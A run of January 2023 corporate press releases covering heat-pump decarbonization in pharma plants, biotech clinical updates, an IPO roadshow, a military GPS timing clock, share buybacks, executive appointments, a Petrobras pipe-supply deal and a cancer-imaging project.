There are many avenues for efficient heat recovery inside the pharma plant, including:

Engineering the building's airside systems to capture and repurpose heat as it would otherwise be exhausted.

Designing systems capable of capturing heat from existing environmental sources, such as groundsource energy. Some pioneering project teams also look for opportunities to capture heat from less conventional sources, such as wastewater generated from manufacturing activities.

Example: Airside heat recovery

One of the most effective ways to put this principle of sustainability into action is through an airside heat recovery system. Our clients are increasingly interested in this effective engineering strategy, including a pharma manufacturer who engaged us to retrofit an existing plant in Massachusetts with a more efficient heating design.

Before we began our work with them, this client used considerable energy to maintain a comfortable temperature of about 70F inside their plant. To reduce this load, we designed a heat recovery system that uses glycol coils to absorb heat from the plant's exhaust air during the winter months. That system leverages the recovered heat to raise the temperature of the incoming supply air from -10F to about 40F , thereby cutting the plant's heating burden in half. (During the summer months, those glycol recovery coils perform the same function in reverse: they absorb heat from the supply air and expel it in the exhaust air, reducing the cooling burden.)

This airside heat recovery system has decreased our client's energy load in terms of maintaining their plant's internal temperature-a relatively minor engineering update for relatively significant gains over time.

3. How does a reverse-cycle heat pump support heat reduction and heat recovery?

First, what is a reverse-cycle heat pump? A heat pump is simply a reverse-cycle chiller or air conditioner. Rather than discharge heat, this technology collects it from the ground, the ambient air around a facility, or another source and makes it available for a useful purpose.

The heat pump isn't new-it's been at work inside vehicles and household appliances for decades. But taking that basic technology and applying it to a central plant design? That's new, and it has the potential to eclipse electric boilers in terms of efficiency. As we've established, a system of integrated heat pumps can take a facility's heating system from a COP of 0.9 (90% efficient) to a COP between 3 and 8 (300 to 800% efficient) by moving energy rather than simply creating it. This technology is a powerful tool in the pursuit of sustainable heating design, and an important enabler for heat reduction and heat recovery in the plant.

Example: Using reverse-cycle heat pumps to maximize existing thermal energy

One of CRB's sustainability-focused clients, a leader in sustainable cell therapy manufacturing, uses AWWHPs throughout their facility to maximize their use of existing thermal energy.

This strategy helps them to reduce and reuse energy inside their plant's ecosystem. As a result, they're capable of powering their entire operation with renewable energy. Achieving a similar outcome using electric boilers would cost them many times as much over the life of their facility; their AWWHPs get the job done without breaking the bank, and with a much lower environmental impact.

The future of sustainable heating design

As part of the life science industry's shift away from fossil fuels, converting energy-intensive "dirty" heating designs to electricity is better than no change at all. Too often, though, electric boilers are treated as the full extent of the sustainable heating design strategy, despite their relatively low efficiency compared to alternative approaches.

When project owners commit to reducing and recovering as much heat as possible in the plant, and when they enable that commitment by engineering a system of integrated heat pumps capable of dramatically increasing the facility's heating efficiency, they can have a much greater impact on their bottom line, their operational resiliency, and their decarbonization goals. This is one way that the pharma and biotech industry will help lead our planet toward a more environmentally responsible future.

Our team of sustainability experts can help you develop a decarbonization strategy to map your corporate sustainability goals to operational action within your pharma facility. Ready to take action?

View additional multimedia and more ESG storytelling from CRB on 3blmedia.com.

Contact Info:

Spokesperson: CRB

Website: https://www.3blmedia.com/profiles/crb

Email: info@3blmedia.com

SOURCE: CRB

View source version on accesswire.com:https://www.accesswire.com/736531/Decarbonization-for-Pharma-Manufacturing-A-Sustainable-Heating-Strategy
Regulatory News:

Median Technologies (ALMDT:PA) (Paris:ALMDT) announced today that Fredrik Brag, CEO and founder of Median Technologies, will provide a company update on February 2nd, 2023 during two webcasts:

Webcast held in English: at 3:30 pm CET 9:30 am EST

Registration link: https://attendee.gotowebinar.com/register/9083273793439247703

Webcast held in French: at 6:00 pm CET 12:00 pm EST

Registration link: https://attendee.gotowebinar.com/register/6149251203975985502

Webcast replays will be available on Median's corporate website after the live sessions.

About Median Technologies:Median Technologies provides innovative imaging solutions and services to advance healthcare for everyone. We harness the power of medical images by using the most advanced Artificial Intelligence technologies, to increase the accuracy of diagnosis and treatment of many cancers and other metabolic diseases at their earliest stages and provide insights into novel therapies for patients. Our iCRO solutions for medical image analysis and management in oncology trials and iBiopsy, our AI-powered software as medical device help biopharmaceutical companies and clinicians to bring new treatments and diagnose patients earlier and more accurately. This is how we are helping to create a healthier world.

Founded in 2002, based in Sophia-Antipolis, France, with a subsidiary in the US and another one in Shanghai, Median has received the label "Innovative company" by the BPI and is listed on Euronext Growth market (Paris). FR0011049824- ticker: ALMDT. Median is eligible for the French SME equity savings plan scheme (PEA-PME), is part of the Enternext PEA-PME 150 index and has been awarded the Euronext European Rising Tech label. For more information: www.mediantechnologies.com

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005639/en/

Contacts:

Median Technologies

Emmanuelle Leygues

Head of Corporate Marketing Financial Communications

+33 6 10 93 58 88

emmanuelle.leygues@mediantechnologies.com

Press ALIZE RP

Caroline Carmagnol

+33 6 64 18 99 59

median@alizerp.com

Investors ACTIFIN

Ghislaine Gasparetto

+33 6 21 10 49 24

ggasparetto@actifin.fr
San Diego, California--(Newsfile Corp. - January 24, 2023) - Direct Communication Solutions, Inc. (OTCQX: DCSX) (CSE: DCSI) (FSE: 7QU) ("DCS"), a leading provider of information technology solutions for the Internet of Things (IoT) market, is pleased to announce that it plans to commence the roadshow for the proposed initial public offering of its shares of Common Stock in the United States (the "Offering"). DCS has filed a registration statement on Form S-1 with the U.S. Securities and Exchange Commission (the "SEC") to offer 1,850,000 shares of common stock to the public. In addition, DCS intends to grant the ThinkEquity LLC, the underwriter a 45-day option to purchase up to an additional 277,500 shares of common stock. The assumed offering price is expected to be US$7.00 per share of common stock. DCS has applied to list its shares of common stock on the NYSE American.

The proposed offering will be made only by means of a prospectus. Copies of the preliminary prospectus related to the offering may be obtained from: DCS or from the EDGAR profile of DCS on www.sec.gov/edgar.

A registration statement on Form S-1 relating to the proposed sale of these securities has been filed with the SEC, but has not yet become effective. These securities may not be sold, nor may offers to buy be accepted prior to the time the registration statement becomes effective.

This press release shall not constitute an offer to sell or the solicitation of an offer to buy these securities, nor shall there be any sale of these securities in any state or jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of any such state or jurisdiction.

About Direct Communication Solutions, Inc.

DCSI is a technology solutions integrator focusing on connecting the Internet of Things. We provide real solutions that solve real problems. Our software applications and scalable cloud services collect and assess business-critical data from all types of assets. DCSI is headquartered in San Diego, California and is publicly traded on the OTCQX ("DCSX"), Canadian Securities Exchange ("DCSI") and Frankfurt Stock Exchange ("7QU").

For more information, visit www.dcsbusiness.com. DCSI and the DCSI logo are among the trademarks of DCSI in the United States. Any other trademarks or trade names mentioned are the property of their respective owners.

Contacts:

Bill Espley, Director

bespley@dcsbusiness.com

604-630-3072

Mike Zhou, Director

mzhou@dcsbusiness.com

604-338-6485

Forward-Looking Statements

This release contains forward-looking statements, which reflect management's current views of future events and operations. These statements are based on current expectations and assumptions that are subject to risks and uncertainties that could cause actual results to differ materially. We believe that these potential risks and uncertainties include, without limitation: the ongoing COVID-19 pandemic, the Company's dependence on third-party manufacturers, suppliers, technologies and infrastructure; risks related to intellectual property; industry risks including competition, online security, government regulation and global economic conditions; and the Company's financial position and need for additional funding, Statements in this release should be evaluated in light of these factors. These risk factors and other important factors that could affect our business and financial results are discussed in our Management's Discussion and Analysis, periodic reports and other public filings which are available on SEDAR at www.sedar.com and posted with the OTC Disclosure and News Service. DCS undertakes no duty to update or revise any forward-looking statements.

Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/152313
News summary:

Defense applications need enhanced PNT capabilities and improved resilience, driving a boom in the military GPS receiver market

ADVA's Oscilloquartz flagship edge grandmaster clock is now equipped with plugin capability to receive robust M-Code signals

Technology brings a unique high-performance PNT solution to the defense market

ADVA (FSE: ADV) today announced that Brandywine Communications is using its OSA 5422 grandmaster clock to deliver a robust and feature-rich M-Code timing solution for use cases such as US Department of Defense applications. The new edge synchronization offering addresses the key requirements of military networks by providing enhanced positioning, navigation and timing (PNT) capabilities and improved resilience. Built on Oscilloquartz's versatile timing technology with integrated M-Code capabilities, the solution is ideal for the most demanding military edge applications. It supports 1Gbit/s and 10Gbit/s interfaces, provides innovative GNSS assurance capabilities as well as backup through Oscilloquartz's assured PNT (aPNT+) technology, and meets the most stringent timing demands in an operationally efficient and cost-effective way.

"Our M-Code edge timing offering will be a game-changer for defense applications. Powered by ADVA's OSA 5422 grandmaster clock, it meets the most urgent needs of military networks that require precise and reliable PNT information and delivers new levels of reliability and security. One key feature of the OSA 5422 is its long holdover and PTP backup, which enables it to maintain accurate timing even in the event of M-Code disruption. This is critical for pressurized defense networks that need to operate in a variety of difficult environments," said Allen Ronk, president of Brandywine Communications. "Our solution features multi-source backup capabilities to ensure that M-Code outages do not disrupt synchronization. It also provides sync assurance capabilities that continually monitor the performance of the timing system and take immediate corrective action when needed."

M-Code is an encrypted GPS signal used exclusively by the US military in defense applications that require precise and reliable synchronization. Resistant to jamming and spoofing, M-Code is an invaluable asset for defense organizations operating in challenging conditions. ADVA's OSA 5422 grandmaster clock is now integrated with a highly reliable M-Code receiver that meets stringent frequency and phase synchronization needs and offers the best holdover performance of any edge device on the market. Also equipped with multi-band, multi-constellation GNSS receivers for when M-Code is not available, the device offers support for legacy interfaces such as BITS and IRIG, and features eight field-upgradeable 10Gbit/s ports and 1Gbit/s interfaces. The OSA 5422 is also environmentally hardened with hot-swappable modules and power supplies for easy field upgrades.

"As military applications demand increasingly precise and reliable PNT capabilities, the need for secure, jamming- and spoofing-resistant M-Code technology becomes ever more pressing. With its long holdover, multi-source backup capabilities, sync assurance capabilities, and other advanced features, our OSA 5422 is perfectly positioned to meet this demand," commented Gil Biran, GM of Oscilloquartz, ADVA. "We're excited to be working with Brandywine Communications as our strategic partner and to be bringing our innovation to defense applications that rely on precise and reliable PNT in the US and elsewhere. The market for military GPS receivers with M-Code capabilities is growing, as defense organizations seek to enhance their PNT capabilities and improve resilience. Together, we're helping empower a whole new section of customers to benefit from the industry's most agile synchronization toolkit."

ADVA's Oscilloquartz aPNT+ and M-Code technology is being showcased at the Precise Time and Time Interval Systems and Applications Meeting (PTTI 2023) in Long Beach, California, from January 23 to 26. Attendees can visit the Oscilloquartz team at Brandywine Communications' booth to learn about the platform's ability to provide resilient and assured PNT services for military applications in line with the Department of Defense's latest zero-trust strategy, and how the OSA 5422 supports both time-as-a-service (TaaS) and GNSS-backup-as-a-service (GBaaS).

About ADVA

ADVA is a company founded on innovation and focused on helping our customers succeed. Our technology forms the building blocks of a shared digital future and empowers networks across the globe. We're continually developing breakthrough hardware and software that leads the networking industry and creates new business opportunities. It's these open connectivity solutions that enable our customers to deliver the cloud and mobile services that are vital to today's society and for imagining new tomorrows. Together, we're building a truly connected and sustainable future. For more information on how we can help you, please visit us at www.adva.com.

About Oscilloquartz

Oscilloquartz is a pioneer in time and frequency synchronization. We design, manufacture and deploy end-to-end synchronization systems that ensure the delivery and assurance of highly precise timing information over next-generation packet and legacy networks. As an ADVA company, we're creating new opportunities for tomorrow's networks. For more information, please visit us at www.oscilloquartz.com.

Published by:

ADVA Optical Networking SE, Munich, Germany

www.adva.com

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005723/en/

Contacts:

For press:

Gareth Spence

t +44 1904 699 358

public-relations@adva.com

For investors:

Stephan Rettenberger

t +49 89 890 665 854

investor-relations@adva.com
Regulatory News:

MaaT Pharma (EURONEXT: MAAT the "Company"), a French clinical-stage biotech and a pioneer in the development of Microbiome Ecosystem TherapiesTM (MET) dedicated to improving survival outcomes for patients with cancer, provides a corporate update highlighting the progress, adjustments to clinical programs and key development milestones expected in 2023.

"MaaT Pharma has delivered important clinical milestones during 2022 including the expansion of its development pipeline with the launch of two clinical trials for its lead drug candidate, MaaT013 in hemato-oncology (Phase 3) and in immuno-oncology (Phase 2a). The year 2022 also marks an important milestone for the global microbiome industry with the regulatory approvals of the first microbiome-based drugs by the FDA in the U.S. and by the TGA in Australia," stated Herve Affagard, CEO and co-founder of MaaT Pharma. "Despite difficult market conditions, we continue to advance our pioneering science and technology and we remain focused on delivering new therapeutic solutions to the benefit of patients with severe conditions as well as building value for our shareholders. 2023 will be a year with important inflection points and will require us to act decisively to reach our objectives. We thank our investors for their support throughout this year, and their confidence in our ability to achieve the next level of corporate development."

Clinical development

Hemato-oncology

MaaT013, a full-ecosystem, standardized, pooled-donor native Microbiome Ecosystem Therapy for acute, hospital use (enema administration)

MaaT013 for the treatment of acute Graft-versus-Host Disease (aGvHD): MaaT013 has received an Orphan Drug Designation by both the U.S. Food and Drug Administration (FDA) and the European Medical Agency (EMA).

MaaT013 is currently being evaluated in Europe in an ongoing international multicenter open-label, single arm, pivotal Phase 3 trial (ARES) in 75 patients with steroid-resistant gastrointestinal aGvHD. The Company has received full regulatory approvals in the following countries, which is more than initially envisioned: Austria, Belgium, France, Germany, Italy, and Spain. A safety and efficacy data review will be conducted by an independent data safety and monitoring board (DSMB) after enrollment of half of the patients in the study. The review is expected in the first half of 2023 and the Company will communicate the DSMB's recommendations following the review.

The initiation of clinical trials following the Investigational New Drug (IND) application for MaaT013 in the United States (U.S.) will depend on the outcome of ongoing exchanges with the FDA in response to the August 2022 continued clinical hold letter. The most recent communication received by the Company from the FDA stated that the complete response provided by the Company in response to the letter received in August 2022, was still under review. Feedback could be expected in the early part of 2023 and the Company will update investors accordingly. The Company understands that the FDA's Center for Biologics Evaluation and Research (CBER) that currently hosts all microbiome-based drug candidates, continues to prioritize their work to advance the nation's response to the COVID-19 public health emergency, which is creating additional delays. Despite this, the Company remains focused on achieving regulatory approval for MaaT013 in the U.S. and providing a therapeutic solution for patients in the country.

MaaT013 has already been successfully evaluated in a Phase 2 clinical trialin patients with steroid-resistant grade III-IV gastro-intestinal (GI) aGvHD (HERACLES) as well as in an ongoing compassionate use program (EAP) in France in patients with Grade II-IV GI-aGvHD having failed previous therapies,with promising results presented at the 2022 American Society of Hematology (ASH) conference in an oral presentation and in a poster at the 2022 edition of the International Human Microbiome Consortium (IHMC). The compelling data demonstrates that the pooled microbiota product is well tolerated and shows a good safety profile in a fragile patient population. Efficacy of MaaT013 correlates with engraftment of the product's microbial species in the gut and clinical response to MaaT013 translates to increased overall survival in patients with aGvHD.

MaaT033, a donor-derived, standardized, high-richness, high-diversity Microbiome Ecosystem Therapy for oral administration, currently being developed as an adjunctive and maintenance therapy to improve overall survival in patients receiving HSCT1

MaaT033 for the improved survival of patients with hematological malignancies receiving allo-HSCT

Based on promising results following the Phase 1b trial presented at the 2022 edition of the ASH annual meeting, and learnings from this study, along with an in-depth review of the Protocol Assistance with the EMA, and discussions with potential partners showing an interest in the license and commercialization of MaaT033 in this therapeutic area, the Company has optimized and adjusted the protocol for the Phase 2b trial of MaaT033 (PHOEBUS). In this context and given the strategic importance of the trial, the Company has decided to take over the sponsorship of the clinical trial in Europe. At the time of the IPO, it was anticipated that AP-HP2 would sponsor the trial in France as an Investigator-sponsored trial. The study is expected to start in Q2 2023 and would now be conducted in Europe in accordance with EMA recommendations. The number of patients enrolled in the study would expand from 341 to 387 and the number of sites would be increased from 20 to 56, enabling the recruitment period to be reduced from 36 to 24 months.

While the primary endpoint of the study is to evaluate the efficacy of MaaT033 in improving overall survival at 12 months, secondary endpoints would include the evaluation of safety and tolerability before and after allo-HSCT, and the evaluation of the engraftment of beneficial microbial species from MaaT033 and the activity in preventing allo-HSCT complications (infections, GvHD).

Additional readouts have been included throughout the 24-month recruitment period, such as interim safety analysis with stopping rules 3 when the trial has enrolled and randomized, respectively, 60 and 120 patients.

when the trial has enrolled and randomized, respectively, 60 and 120 patients. The expected timelines including the overall survival endpoint (data to be expected in H1 2026) announced by MaaT Pharma during the IPO should be confirmed based on the adjustments mentioned above.

In parallel to starting the trial in Europe, the Company plans to discuss this program with the FDA upon conclusion of ongoing dialogues with the Agency regarding its pooling technology.

Immuno-oncology Clinical and nonclinical programs

MaaT013 for the improvement of patients' response to Immune Checkpoint Inhibitors (ICI) -proof of concept Phase 2a clinical trial sponsored by AP-HP

The proof-of-concept double blind randomized Phase 2a clinical trial, PICASSO (n=60), initiated in April 2022, evaluating MaaT013's impact on the efficacy of ICI treatments (ipilimumab nivolumab) in patients with metastatic melanoma, remains on track as planned.

This trial is an Investigator-sponsored trial by AP-HP, where MaaT Pharma supplies drug candidates and performs the microbiome profiling of patients using its proprietary gutPrint platform.

Key study endpoints after 23 weeks of treatment include MaaT013's safety profile and best-overall response rate vs placebo as an add-on treatment to ipilimumab nivolumab.

placebo as an add-on treatment to ipilimumab nivolumab. The Company is expected to receive biological biomarker data in H1 2023 after half of the patients have been enrolled and achieved their evaluation 9 weeks after randomization.

Results are expected in H2 2024, as planned.

MaaT03x, a new generation high richness, co-cultured, designed Microbiome Ecosystem TherapyTM in oral formulation for the increase in the response rate to ICI in patients with solid tumors currently in preclinical testing.

As MaaT03x is expected to be used in large markets, MaaT Pharma has been focused on increasing the level of readiness and decided to enter a Phase 1b trial in Europe and the U.S. in the first half of 2024, as opposed to the second half of 2023 as initially announced. This is a result of changes and adjustments following announcements of first regulatory approvals for microbiome-based products and the Company's work for the development of its native products (MaaT013 MaaT033) in Europe. MaaT Pharma is consolidating in vivo/in vitro data, continuing product development characterization and conducting regulatory readiness of MaaT03x. Preclinical data are expected to be shared at scientific conferences in 2023.

MaaT Pharma has initiated early interactions with the EMA in 2022 including a meeting with the EMA's Innovation Task Force (ITF). Further interactions in Europe are expected to take place in 2023. The Company is also planning early interactions with the FDA in H1 2023 to present its MaaT03x platform and has already filed a meeting request.

The Company will be able to strengthen its intellectual property (IP) portfolio in France and internationally thanks to the co-cultured new generation products. Currently, the Company holds the IP for 14 patent families.

Therapeutic pipeline extension

Recent studies have highlighted the importance of the microbiota-gut-brain axis and the impact of the gut microbiome in brain diseases. Interestingly, patients with neurodegenerative disorders display both central nervous system (CNS) and gastrointestinal symptoms4. In parallel, scientific research has started to shed light on the role of the gut microbiome, linking abnormalities to diseases such as Amyotrophic lateral sclerosis (ALS5). The link between gut microbiota and ALS first emerged from preclinical evidence and then from clinical observations indicating a disease-modifying role for the gut microbiome. To date, there is no effective treatment for ALS, a disease that leads to death within an average of 3-5 years after diagnosis6. ALS affects nerve cells in the brain and the spinal cord causing loss of muscle control. Since its inception, MaaT Pharma has been committed to restoring a microbial symbiosis in life-threatening diseases with high unmet clinical needs. Growing evidence suggests that ALS patients show increased inflammation in the gut with changes in the composition of gut microbes and low levels of beneficial bacteria.

MaaT Pharma has decided to extend its scientific research to the management of ALS, which could pave the way for the treatment of several neurodegenerative diseases. The Company is leveraging the strong safety profile of its native MET products (MaaT033/MaaT013) and their inherent product characteristics of promoting immune modulation/anti-inflammatory properties and acting as a homeostasis hub. The number of ALS cases is expected to increase substantially in the developing world over the next 25 years and could reach a total of 60,000 patients in U.S. and Europe by 20407. Every year, 5,000 new patients are diagnosed in the U.S. and in Europe and the incidence of ALS ranges from 3 to 4 per 100,000 person-years7.

Leveraging 12 months of feasibility assessment in MaaT Pharma's Discovery team, the Company expects to initiate in H1 2023 a Phase 1b pilot study in ALS evaluating MaaT033 to slow down disease progression. The study, developed with experts from the ALS network (FILSLAN and ACT4ALS-MND) and strongly supported by the French patient association (Tous en Selles contre la SLA), will enroll up to 15 patients presenting initial motor deficit i.e., at least 6 months up to 24 months at the time of the screening This pipeline expansion to a new indication demonstrates the strong potential of MaaT033 to be used in an acute or chronic setting as a standalone, adjunctive and maintenance therapy. Data readout from the pilot study is expected for the first half of 2024.

If this initial trial is successful, the Company could extend further to other chronic diseases/ immuno-inflammatory diseases as MaaT Pharma collects data and strengthens in-depth understanding of the mechanism of action. Funding for the trial is already secured and the program has been designed to minimize the risk and not impact the Company's lead programs in oncology. The key study endpoints are assessment of safety and tolerability of multiple doses of MaaT033, the assessment of gut microbiota composition evolution and the identification of biomarkers sensitive to treatment before considering a larger randomized controlled efficacy study.

cGMP manufacturing facilities

MaaT Pharma is currently building its future manufacturing facilities, in partnership with Skyepharma. The 1600m2 facility will be able to support the needs of clinical and commercial production of its native MET (MaaT013 MaaT033), R&D and clinical batches of cultured products, MaaT03x, up to 2034.

Funding is secured and the completion of the facility is expected in mid-2023. Under the terms of the partnership agreement, MaaT Pharma will retain the know-how of its bio-manufacturing processes and agility (full command end-to-end manufacturing processes), while leveraging Skyepharma's experience in running a cGMP facility. Having this facility is a strong competitive advantage for a late-stage company preparing for commercial phase, which MaaT Pharma believes will facilitate potential commercial partnerships. The site will be the first in France, and the largest specialized manufacturing facility for full ecosystem microbiome therapies in Europe to date. The facility will also increase potential synergies within the microbiome industry and contribute to structuring the production of microbiome-based drugs. It will provide a fully integrated manufacturing and development platform that will allow quick and efficient product development, scale-up and GMP processes.

Financing plans update on cash runway

Following an in-depth review of its ongoing programs, in particular the deferral of the clinical study of MaaT03x from 2023 to 2024 and savings on discretionary spending, the Company has optimized and prioritized its operations, extending its cash runway to end of Q4 2023, as compared to end of Q3 2023 as previously announced. The Company is also evaluating options that will finance operations and bring its late-stage products close to commercial launch. The focus is on both dilutive and non-dilutive financing, including business deals. The Company is confident in the continuing and longstanding support of its historical investors.

The Company has updated its corporate presentation, which can be download here: https://www.maatpharma.com/investors/

About MaaT Pharma

MaaT Pharma, a clinical stage biotechnology company, has established a complete approach to restoring patient-microbiome symbiosis in oncology. Committed to treating cancer and graft-versus-host disease (GvHD), a serious complication of allogeneic stem cell transplantation, MaaT Pharma has launched, in March 2022, an open-label, single arm Phase 3 clinical trial in patients with acute GvHD, following the achievement of its proof of concept in a Phase 2 trial. Its powerful discovery and analysis platform, gutPrint, supports the development and expansion of its pipeline by determining novel disease targets, evaluating drug candidates, and identifying biomarkers for microbiome-related conditions.

The company's Microbiome Ecosystem Therapies are produced through a standardized cGMP manufacturing and quality control process to safely deliver the full diversity of the microbiome, in liquid and oral formulations. MaaT Pharma benefits from the commitment of world-leading scientists and established relationships with regulators to support the integration of the use of microbiome therapies in clinical practice.

MaaT Pharma is listed on Euronext Paris (ticker: MAAT).

Forward-looking Statements

All statements other than statements of historical fact included in this press release about future events are subject to (i) change without notice and (ii) factors beyond the Company's control. These statements may include, without limitation, any statements preceded by, followed by or including words such as "target," "believe," "expect," "aim," "intend," "may," "anticipate," "estimate," "plan," "project," "will," "can have," "likely," "should," "would," "could" and other words and terms of similar meaning or the negative thereof. Forward-looking statements are subject to inherent risks and uncertainties beyond the Company's control that could cause the Company's actual results or performance to be materially different from the expected results or performance expressed or implied by such forward-looking statements.

1 HSCT= Hematopoietic stem-cell transplantation

2 AP-HP Assistance Publique Hopitaux de Paris

3 A stopping rule is a set of safety criteria primarily used to determine when the study needs to be paused or halted.

4Gebrayel et al, J Transl Med, 2022, Singh et al, J Clin Invest. 2021

5 Rowin et al., 2017; Nicholson et al, 2021; Blacher et al, 2019, Mazzini et al, 2020

6 https://tousensellescontrelasla.fr/la-sla-cest-quoi/

7 Longinetti.et.al 2019, Arthur, K., Calvo, A., Price, T. et al., US Centers for disease control and prevention National ALS Registry 2016

View source version on businesswire.com: https://www.businesswire.com/news/home/20230124005830/en/

Contacts:

MaaT Pharma Investor Relations

Herve AFFAGARD

Co-Founder and CEO

Sian CROUZET, COO/ CFO

+33 4 28 29 14 00

invest@maat-pharma.com

MaaT Pharma Media Relations

Pauline RICHAUD

Senior PR Corporate Communications Manager

+33 6 14 06 45 92

media@maat-pharma.com

Trophic Communications Corporate and Medical Communications

Gretchen SCHWEITZER or Charlotte SPITZ

+49 171 351 27 33

maat@trophic.eu
Finsbury Growth & Income Trust Plc - Transaction in Own Shares

For immediate release

24 January 2023

FINSBURY GROWTH & INCOME TRUST PLC

(the "Company")

MARKET PURCHASE OF COMPANY'S OWN SHARES

The Company announces that it has today purchased 200,000 of its own shares ("Ordinary Shares") at a price of 869.39 pence per Ordinary Share. Such shares will be held in treasury by the Company.

The transaction was made pursuant to the authority granted at the Annual General Meeting of the Company held on 17 January 2023.

Following this transaction, the total number of Ordinary Shares held by the Company in treasury is 13,786,092; the total number of Ordinary Shares that the Company has in issue, less the total number of Ordinary Shares held by the Company in treasury following such purchase, and therefore, the total number of voting rights in the Company is 211,205,211.

The figure of 211,205,211 may be used by shareholders as the denominator for calculations of interests in the Company's voting rights in accordance with the FCA's Disclosure Guidance and Transparency Rules.

For and on behalf of

Frostrow Capital LLP

Company Secretary

For further information, please contact:

Victoria Hale

Frostrow Capital LLP

Tel: 020 3 170 8732
Assystem - Executive and Group Finance Management

ParisLa Defense, 24 January 2023, 6:00 p.m. (CET) - Assystem S.A. (ISIN: FR0000074148 - ASY).

At its meeting held today, Assystem's Board of Directors appointed Stephane Aubarbier - currently Assystem's Chief Operating Officer - as Deputy CEO of Assystem S.A., effective 1 February 2023, and placed on record the resignation of Philippe Chevallier from his position as Deputy CEO - Finance of Assystem S.A., effective the same date, i.e., 1 February 2023.

Dominique Louis, Chairman and Chief Executive Officer of Assystem, and the other members of the Board thanked Philippe for his dedicated service, professionalism and accomplishments during the past eight years that he has spent with the Group. Philippe will act as Adviser to the Chairman until 30 June 2023, on which date he will retire.

Malene Korvin, aged 40, is joining Assystem on 30 January 2023 and has been appointed as the Group's Chief Financial Officer, reporting to the Deputy CEO. A graduate of the French business school ESCP Europe, Malene has 14 years of professional experience, working at KPMG Transaction Services as a Manager from 2008 to 2013, and then since 2014 at Europcar Mobility Group, serving successively as Head of Mergers and Acquisitions, Director of Business Transformation, Group Deputy CFO and subsequently Group CFO.

Dominique Louis, Chairman and Chief Executive Officerof Assystem, said:

"In 1990,Stephane joined one of the companies that led to the creation of the Assystem we know today. For many years he has led Assystem's teams and ensured the effective implementation of the Group's strategy and business development. At 54 years old, he embodies the continuity and constancy that characterise how we conduct our business and serve our clients at Assystem.

I would like to warmly welcomeMalene, whose valued professional skills will, I am convinced, guarantee her every success in her new post."

ABOUT ASSYSTEM

As one of the world's leading independent nuclear engineering companies, Assystem's main mission is to help accelerate energy transition. In the 12 countries where the Group operates, the skills of its 6,500 experts are being put to the service of developing the production and use of carbon-free electricity (nuclear and renewables) as well as green hydrogen.

With over 55 years' experience in highly regulated sectors subject to stringent safety and security constraints, the Group provides engineering and digital services and solutions to optimise the cost and performance of its clients' complex infrastructure assets throughout their life cycles.

To find out more visit www.assystem.com/ Follow Assystem on Twitter: @Assystem

CONTACTS

Anne-Charlotte Dagorn - Communications Director - acdagorn@assystem.com - Tel.: +33 (0)6 83 03 70 29

Agnes Villeret - Komodo - Investor relations - agnes.villeret@agence-komodo.com - Tel.: +33 (0)6 83 28 04 15

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Vallourecsecures major long-term agreement with Petrobras to supply OCTG1 solutions

Meudon (France), 24January2023 - Vallourec has signed a long-term agreement with Petrobras for OCTG (Oil Country Tubular Goods) solutions. The three-year agreement covers the supply of OCTG Premium products, associated accessories, and specialized physical and digital services, representing a volume of supply above 110kt of products and accessories.

These products, associated accessories, and physical and digital services will support Petrobras in its offshore Oil & Gas exploration and production wells in the key Brazilian pre-salt oil region, an offshore reserve located below some 4,000 meters of salt and post-salt sediments. The pre-salt area production is expected to represent over 70% of Petrobras' total production between 2023 and 2027.

This latest contract with Petrobras represents an increased scope for Vallourec, including for the first time, the supply of seamless 16" to 18" large diameter pipes manufactured in Brazil using state-of-the-art technology at its Jeceaba (Minas Gerais) mill and which will support Petrobras to maximize its production. Petrobras will also leverage Vallourec's digital solutions, including full pipe traceability, Smartengo Running Expert to circular economy solution for reuse of protectors, slings, and other components.

Philippe Guillemot, Chairman and Chief Executive Officer of Vallourec, commented: "I am delighted by this new agreement, which further cements the long-standing relationship between Vallourec and Petrobras. This latest contract further demonstrates Vallourec's ability to deliver solutions to the industry that are both technology and efficiency enablers to key players in the industry. I am grateful to Petrobras for once again placing its confidence in Vallourec for the exploitation of this key exploration area".

About Vallourec

Vallourec is a world leader in premium tubular solutions for the energy markets and for demanding industrial applications such as oil & gas wells in harsh environments, new generation power plants, challenging architectural projects, and high-performance mechanical equipment. Vallourec's pioneering spirit and cutting-edge R&D open new technological frontiers. With close to 17,000 dedicated and passionate employees in more than 20 countries, Vallourec works hand-in-hand with its customers to offer more than just tubes: Vallourec delivers innovative, safe, competitive, and smart tubular solutions, to make every project possible.

Listed on Euronext in Paris (ISIN code: FR0013506730, Ticker VK), Vallourec is part of the CAC Mid 60, SBF 120 and Next 150 indices and is eligible for Deferred Settlement Service. In the United States, Vallourec has a sponsored Level 1 American Depositary Receipt (ADR) program (ISIN code: US92023R4074, Ticker: VLOWY). Parity between the ADR and the ordinary share is 5:1.

For further information, please contact:

Investor relations

Investor.relations@vallourec.com (mailto:Investor.relations@vallourec.com)



Press relations

Heloise Rothenbuhler

Tel: +33 (0)1 41 03 77 50

h eloise.rothenbuhler@vallourec.com Individual shareholders

Toll Free Number (from France): 0 800 505 110

actionnaires@vallourec.com (mailto:actionnaires@vallourec.com)









1 OCTG: Oil Country Tubular Goods

Attachment
This partnership is a significant step forward in the fight against cancer. The project will provide a central hub and a federated infrastructure that will link EU-level and national initiatives, hospital networks, and research repositories with cancer images data to help improve early cancer detection and treatment options.

Quibim will adapt its platform to explore and visualize the imaging and clinical data included in the repository, analyze them, and extract predictive models of patient outcomes.

Clinicians, researchers and innovators will have cross-border access to an interoperable, privacy-preserving and secure infrastructure for federated, distributed analysis of cancer imaging data.

VALENCIA, Spain, Jan. 24, 2023 /PRNewswire/ -- Quibim, a leading medical imaging technology partner, joins the European Commission's European Federation for Cancer Images (EUCAIM) project directing major tasks focused on governance and implementation of the Central Hub and data federation and interoperability. This first-of-its-kind European 'pan-cancer' project aims to create an easy-access to cancer images for clinicians, researchers and innovators to streamline cancer diagnosis, treatment and care.

The infrastructure will be populated by observational studies from 21 clinical sites in 12 EU countries. Moreover, the project will include clinical images and their link with pathology, molecular and laboratory data, expanding to at least 30 distributed data providers from 15 countries by the end of the 4-year project.

Quibim is strategically positioned in EUCAIM as the first company in funding resources, leveraging its experience implementing QP-Discovery, their imaging and multi-omics platform with cutting-edge technology for transforming imaging data into actionable predictions.

